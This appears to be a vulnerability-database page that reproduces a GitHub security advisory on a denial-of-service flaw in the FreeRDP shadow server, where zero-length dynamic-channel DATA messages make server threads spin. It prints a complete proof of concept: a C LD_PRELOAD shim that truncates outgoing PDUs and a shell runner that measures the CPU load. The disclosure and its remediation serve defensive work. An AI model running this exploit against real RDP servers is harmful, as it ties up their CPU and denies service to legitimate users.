Read the docs

Zero-length dynamic-channel DATA messages can spin FreeRDP shadow-server threads

Priority MEDIUM 44CWE-400Published · Updated

Key facts

Attack vector
Network
Privileges required
Low
User interaction
None
Attack complexity
Low
Impact type
Denial of service
Confidentiality · integrity · availability
None · None · High
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-fqcj-rwww-2498. Fix status from GitHub. Impact type from CWE-400.

Summary

An authenticated RDP client can send a zero-length drdynvc DATA message to a FreeRDP shadow server, which queues it. The audin reader keeps looping on the empty message, so the shadow-server thread spins, with live runs measuring about one and two CPU cores. No crash, memory corruption or information disclosure was demonstrated, and the spin ends when the client disconnects. CWE-400 and CWE-835 apply; CVSS 3.1 base score 6.5 (MEDIUM), vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

### Summary An authenticated RDP client can send a drdynvc DATA PDU with a valid channel ID and zero application payload to a FreeRDP shadow server. The server queues a zero-byte message. `FreeRDP_WTSVirtualChannelRead` returns success for a length query without removing that message, and the queue event remains signaled. The audin reader loops continuously; if rdpgfx receives another empty message, shadow's client thread loops as well. Live runs measured about one and two CPU cores respectively. The spin ends when the client disconnects. No crash, memory corruption, or disclosure was demonstrated. ### Root cause and reachability `wts_read_drdynvc_data` in `libfreerdp/core/server.c` queues DATA payloads even when `Stream_GetRemainingLength(s) == 0`. `FreeRDP_WTSVirtualChannelRead` peeks with removal disabled and returns before consuming an empty head when called with a null buffer. Audin and rdpgfx both query this way and treat zero returned bytes as no data. Stock shadow starts audin per client and rdpgfx when graphics is negotiated. The server first has to open the DVC and the client has to complete channel creation; an unknown or unopened channel does not reach the queue. The same reader pattern exists in ainput, disp, location, echo, telemetry, rdpemsc, rdpecam, and the unused drdynvc server plugin, but stock shadow does not start those readers. Encomsp has a related zero-length static-channel variant when joined. Rdpsnd and rdpei consume empty messages through non-null reads; they are not affected by this pattern. This is separate from the audin large-`NumFormats` parsing issue. ### Impact and validation limits The archived loopback shadow run used an authenticated `xfreerdp` client with a PDU-shaping preload. One audin DATA PDU was truncated to the two-byte command-and-channel-ID form. Audin used 507 CPU ticks over five seconds; the no-truncation control used at most one tick per thread. Truncating an audin and a rdpgfx PDU produced 1011 process ticks over five seconds. Server CPU returned to near idle after disconnect. No many-session exhaustion test was run. ### Reproduction Use a disposable shadow server and a local test account. The shaper interposes the client queue dispatch and shortens one otherwise valid outgoing drdynvc DATA PDU to its command byte plus channel ID. The normal FreeRDP client API refuses a zero-length DVC write, which is why the original live test used this post-serialization mutation. It does not patch the server or alter the channel ID. ```sh export DISPLAY=:99 export SAM_FILE=./SAM export RDP_USER=test export RDP_DOMAIN=test export RDP_PASSWORD='test-password' chmod +x run_live_e2e.sh ./run_live_e2e.sh log 20 version ./run_live_e2e.sh truncate 20 version ZLD_CHID=1,2 ZLD_MATCH=any ./run_live_e2e.sh truncate 20 any ``` Use a SAM database containing the named test account. The script compiles only the preload shim and then invokes installed FreeRDP binaries. The matching release-specific client queue layout must be checked before using the shim with a different FreeRDP build. A server with the vulnerability will expend CPU until the client disconnects, so run this against a disposable loopback server. Complete PDU shaper: ```c /* * zero_len_dvc_preload.c - live malicious-client PDU shaper for CAND-000179 * verified against the archived FreeRDP development build. * * The stock xfreerdp client can only send non-empty dynamic-channel data * (channels/drdynvc/client/drdynvc_main.c:1126 refuses dataSize == 0). * This LD_PRELOAD interposes the exported winpr * * MessageQueue_Dispatch(wMessageQueue*, const wMessage*) * * in the xfreerdp process. Outgoing static-channel writes are queued by * FreeRDP_VirtualChannelWriteEx() (libfreerdp/core/client.c:1319) as a * CHANNEL_OPEN_EVENT {Data, DataLength, UserData, pChannelOpenData} inside * message->wParam. The main thread later sends exactly Data/DataLength * (libfreerdp/core/client.c:684-750), so shrinking DataLength before the real * dispatch emits a valid drdynvc DATA_PDU with a zero-length payload. * * That is exactly the malformed PDU wts_read_drdynvc_data() accepts at * libfreerdp/core/server.c:244-282 (else-branch :281) and posts as a 0-byte * wtsChannelMessage. * * Modes (env): * ZLD_MODE=log|truncate (default log) * ZLD_MATCH=version|formats|any (default version) * version: payload[0]==0x01 && payload length==5 (audin MSG_SNDIN_VERSION) * formats: payload[0]==0x02 && payload length>=9 (audin MSG_SNDIN_FORMATS) * any: payload length>=1 * ZLD_CHID=<n> only match this drdynvc channel id * ZLD_MAX=<n> max truncations (default 1) * ZLD_LOG=<0|1> verbose per-PDU logging (default 1) */ #define _GNU_SOURCE #include <dlfcn.h> #include <stdint.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> typedef struct { void* Data; uint32_t DataLength; void* UserData; void* pChannelOpenData; } COE; /* exact layout of winpr struct s_wMessage (winpr/include/winpr/collections.h:833) */ typedef struct { uint32_t id; uint32_t _pad; void* context; void* wParam; void* lParam; uint64_t time; void* Free; } wMessageMirror; typedef int (*dispatch_fn)(void* queue, const void* message); static int g_enabled = 0; static int g_log = 1; static int g_truncate = 0; static unsigned long g_max = 1; static long g_chids[16]; static size_t g_nchids = 0; static unsigned long g_hits[16]; static int g_match_version = 1; static int g_match_formats = 0; static int g_match_any = 0; static size_t chid_index(long id) { if (g_nchids == 0) return 0; /* no filter: wildcard slot */ for (size_t i = 0; i < g_nchids; i++) { if (g_chids[i] == id) return i; } return (size_t)-1; } static void zld_init(void) { const char* mode = getenv("ZLD_MODE"); const char* match = getenv("ZLD_MATCH"); const char* log = getenv("ZLD_LOG"); const char* max = getenv("ZLD_MAX"); const char* chid = getenv("ZLD_CHID"); if (g_enabled) return; g_enabled = 1; if (mode && (strcmp(mode, "truncate") == 0)) g_truncate = 1; if (log && (strcmp(log, "0") == 0)) g_log = 0; if (max && *max) g_max = strtoul(max, NULL, 0); if (chid && *chid) { char* copy = strdup(chid); char* save = NULL; for (char* tok = strtok_r(copy, ",", &save); tok && (g_nchids < 16); tok = strtok_r(NULL, ",", &save)) g_chids[g_nchids++] = strtol(tok, NULL, 0); free(copy); } if (match && (strcmp(match, "any") == 0)) { g_match_any = 1; g_match_version = 1; g_match_formats = 1; } else if (match && (strcmp(match, "formats") == 0)) { g_match_formats = 1; g_match_version = 0; } fprintf(stderr, "[zld] loaded mode=%s match=%s nchid=%zu max=%lu pid=%d\n", g_truncate ? "truncate" : "log", match ? match : "version", g_nchids, g_max, getpid()); fflush(stderr); } int MessageQueue_Dispatch(void* queue, const void* message_ptr) { static dispatch_fn real = NULL; const wMessageMirror* msg = (const wMessageMirror*)message_ptr; if (!real) real = (dispatch_fn)dlsym(RTLD_NEXT, "MessageQueue_Dispatch"); zld_init(); if (real && msg && (msg->id == 0) && msg->wParam && msg->Free) { COE* coe = (COE*)msg->wParam; if (coe->Data && (coe->DataLength >= 2)) { const unsigned char* buf = (const unsigned char*)coe->Data; const unsigned cmd = (buf[0] >> 4) & 0xf; const unsigned cbChId = buf[0] & 0x3; const size_t idbytes = 1 + (size_t)cbChId; if ((cmd == 0x03) && (coe->DataLength >= 1 + idbytes)) { uint32_t channelId = 0; for (size_t i = 0; i < idbytes; i++) channelId |= ((uint32_t)buf[1 + i]) << (8 * i); const unsigned char* p = buf + 1 + idbytes; const size_t plen = coe->DataLength - 1 - idbytes; /* pChannelOpenData->stats.channelName is at offset 0 (CHAR[8]) */ const char* chname = coe->pChannelOpenData ? (const char*)coe->pChannelOpenData : "?"; if (g_log) { fprintf(stderr, "[zld] DATA_PDU chname=%s chid=%u plen=%zu p0=0x%02x p1=0x%02x\n", chname ? chname : "?", channelId, plen, plen > 0 ? p[0] : 0, plen > 1 ? p[1] : 0); fflush(stderr); } const size_t cidx = chid_index((long)channelId); if (g_truncate && (cidx != (size_t)-1) && (g_hits[cidx] < g_max)) { int m = 0; if (plen >= 1) { if (g_match_version && (plen == 5) && (p[0] == 0x01)) m = 1; if (g_match_formats && (plen >= 9) && (p[0] == 0x02)) m = 1; if (g_match_any) m = 1; } if (m) { const uint32_t newlen = (uint32_t)(1 + idbytes); fprintf(stderr, "[zld] TRUNCATE chname=%s chid=%u plen=%zu -> " "DATA_PDU len=%u (zero payload)\n", chname ? chname : "?", channelId, plen, newlen); fflush(stderr); coe->DataLength = newlen; g_hits[cidx]++; } } } } } return real ? real(queue, message_ptr) : 0; } ``` Complete loopback runner: ```sh #!/bin/sh # CAND-000179 loopback shadow runner with a microphone-enabled client # carrying an LD_PRELOAD that shrinks an outgoing audin DVC DATA_PDU payload to # zero bytes. Usage: run_live_e2e.sh <mode:log|truncate> [client_seconds] [match] set -eu DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) MODE="${1:-log}" CLIENT_SECS="${2:-20}" MATCH="${3:-version}" SHADOW_BIN=${SHADOW_BIN:-freerdp-shadow-cli} CLIENT_BIN=${CLIENT_BIN:-xfreerdp} PORT=${PORT:-3344} : "${DISPLAY:?set DISPLAY to a disposable X display}" : "${SAM_FILE:?set SAM_FILE to a test SAM database}" : "${RDP_USER:?set RDP_USER to the matching test account}" : "${RDP_PASSWORD:?set RDP_PASSWORD to the matching test password}" RDP_DOMAIN=${RDP_DOMAIN:-$RDP_USER} cc -O2 -fPIC -shared -o "$DIR/zero_len_dvc_preload.so" "$DIR/zero_len_dvc_preload.c" -ldl STAMP=$(date -u +%Y%m%dT%H%M%SZ) EVID="$DIR/logs" mkdir -p "$EVID" SHADOW_LOG="$EVID/shadow-${MODE}-${STAMP}.log" CLIENT_LOG="$EVID/client-${MODE}-${STAMP}.log" CPU_LOG="$EVID/cpu-${MODE}-${STAMP}.txt" SHADOW_PID="" CLIENT_PID="" cleanup() { [ -n "$CLIENT_PID" ] && kill "$CLIENT_PID" 2>/dev/null || true [ -n "$SHADOW_PID" ] && kill "$SHADOW_PID" 2>/dev/null || true } trap cleanup EXIT INT TERM "$SHADOW_BIN" /bind-address:127.0.0.1 /port:"$PORT" \ /sam-file:"$SAM_FILE" /log-level:INFO >"$SHADOW_LOG" 2>&1 </dev/null & SHADOW_PID=$! i=0 while [ "$i" -lt 20 ]; do if ss -ltn 2>/dev/null | grep -q "127.0.0.1:$PORT "; then break; fi i=$((i + 1)) sleep 0.5 done if ! ss -ltn 2>/dev/null | grep -q "127.0.0.1:$PORT "; then echo "shadow failed to start; see $SHADOW_LOG" >&2 exit 1 fi echo "shadow pid=$SHADOW_PID port=$PORT" sample_total() { awk '{print $14+$15}' "/proc/$SHADOW_PID/stat"; } T0=$(sample_total) { echo "mode=$MODE match=$MATCH shadow_pid=$SHADOW_PID" echo "t0_ticks=$T0 at $(date -u +%H:%M:%S)" } >"$CPU_LOG" ZLD_MODE="$MODE" ZLD_MATCH="$MATCH" ZLD_LOG=1 ZLD_MAX="${ZLD_MAX:-1}" \ LD_PRELOAD="$DIR/zero_len_dvc_preload.so" \ timeout "$CLIENT_SECS" "$CLIENT_BIN" /v:127.0.0.1:"$PORT" /u:"$RDP_USER" /d:"$RDP_DOMAIN" \ /p:"$RDP_PASSWORD" /cert:ignore /size:800x600 /microphone /log-level:INFO \ >"$CLIENT_LOG" 2>&1 & CLIENT_PID=$! # let the session come up and the audin channel open sleep 8 snapshot_threads() { for t in /proc/"$SHADOW_PID"/task/*; do tid=$(basename "$t") comm=$(cat "$t/comm" 2>/dev/null || echo "?") cur=$(awk '{print $14+$15}' "$t/stat" 2>/dev/null || echo 0) echo "$tid $comm $cur" done } snapshot_threads >"$CPU_LOG.threads_t1" T1=$(sample_total) sleep 5 snapshot_threads >"$CPU_LOG.threads_t2" T2=$(sample_total) { echo "t1_ticks=$T1 at $(date -u +%H:%M:%S) (after 8s session)" echo "t2_ticks=$T2 at $(date -u +%H:%M:%S) (5s later)" echo "cpu_ticks_5s=$((T2 - T1)) (USER_HZ=100; 500 == 5 CPU-seconds == 1 core)" } >>"$CPU_LOG" # per-thread CPU over the same 5s window { echo "--- per-thread ticks over the measurement window ---" awk 'NR==FNR { a[$1]=$3; next } { if ($1 in a) printf "%s %s delta=%d\n", $1, $2, $3-a[$1] }' \ "$CPU_LOG.threads_t1" "$CPU_LOG.threads_t2" } >"$CPU_LOG.threads_delta" kill "$CLIENT_PID" 2>/dev/null || true wait "$CLIENT_PID" 2>/dev/null || true sleep 3 T3=$(sample_total) sleep 3 T4=$(sample_total) { echo "t3_ticks=$T3 (3s after client killed)" echo "t4_ticks=$T4 (6s after client killed)" echo "cpu_ticks_after_disconnect=$((T4 - T3))" } >>"$CPU_LOG" echo "--- per-thread deltas ---" | tee -a "$CPU_LOG.addendum" cat "$CPU_LOG.threads_delta" | tee -a "$CPU_LOG.addendum" echo "--- preload log lines ---" | tee -a "$CPU_LOG.addendum" grep -h "\[zld\]" "$CLIENT_LOG" | head -40 | tee -a "$CPU_LOG.addendum" || true echo "--- shadow thread-ish log lines ---" | tee -a "$CPU_LOG.addendum" grep -h "audin\|AUDIO_INPUT\|Gfx Pipeline" "$SHADOW_LOG" | head -20 | tee -a "$CPU_LOG.addendum" || true echo "== done: $CPU_LOG $CLIENT_LOG $SHADOW_LOG ==" ``` The original, unmodified tooling was executed against a stock shadow server built from the assessed development source. In the audin-only run, the client log showed `TRUNCATE chname=drdynvc chid=1 plen=5 -> DATA_PDU len=2 (zero payload)`. One server thread consumed 507 CPU ticks in five seconds (about one core at 100 ticks/second); after disconnect it consumed zero ticks over the later six-second window. The log-only control showed at most one tick per shadow thread. In the audin-plus-rdpgfx run, two truncated channel messages produced 1011 ticks over five seconds (about two cores), dropping to one tick after disconnect. Thread attribution identified `audin_server_thread_func` and `shadow_client_thread`. FreeRDP 3.32.0 was inspected in source but not run with this trigger. ### Remediation Drop or consume zero-length DVC DATA messages before they enter the channel queue. Make the WTS length-query read remove or reject any zero-length head so the queue event can reset. Cover the static encomsp variant and add tests confirming the next valid message is delivered. No fixed release was verified.

Why it matters now

Fix Fixed FreeRDP (c): 3.32.2

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c)<= 3.32.13.32.2Patch availableGHSA-fqcj-rwww-2498
  • FreeRDP (c) Vendor— Affected <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-fqcj-rwww-2498

Remediation

Upgrade FreeRDP to 3.32.2 or later. Affected versions are 3.32.1 and earlier.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-fqcj-rwww-2498 FreeRDP (c) Fixed in 3.32.2 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-fqcj-rwww-2498

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences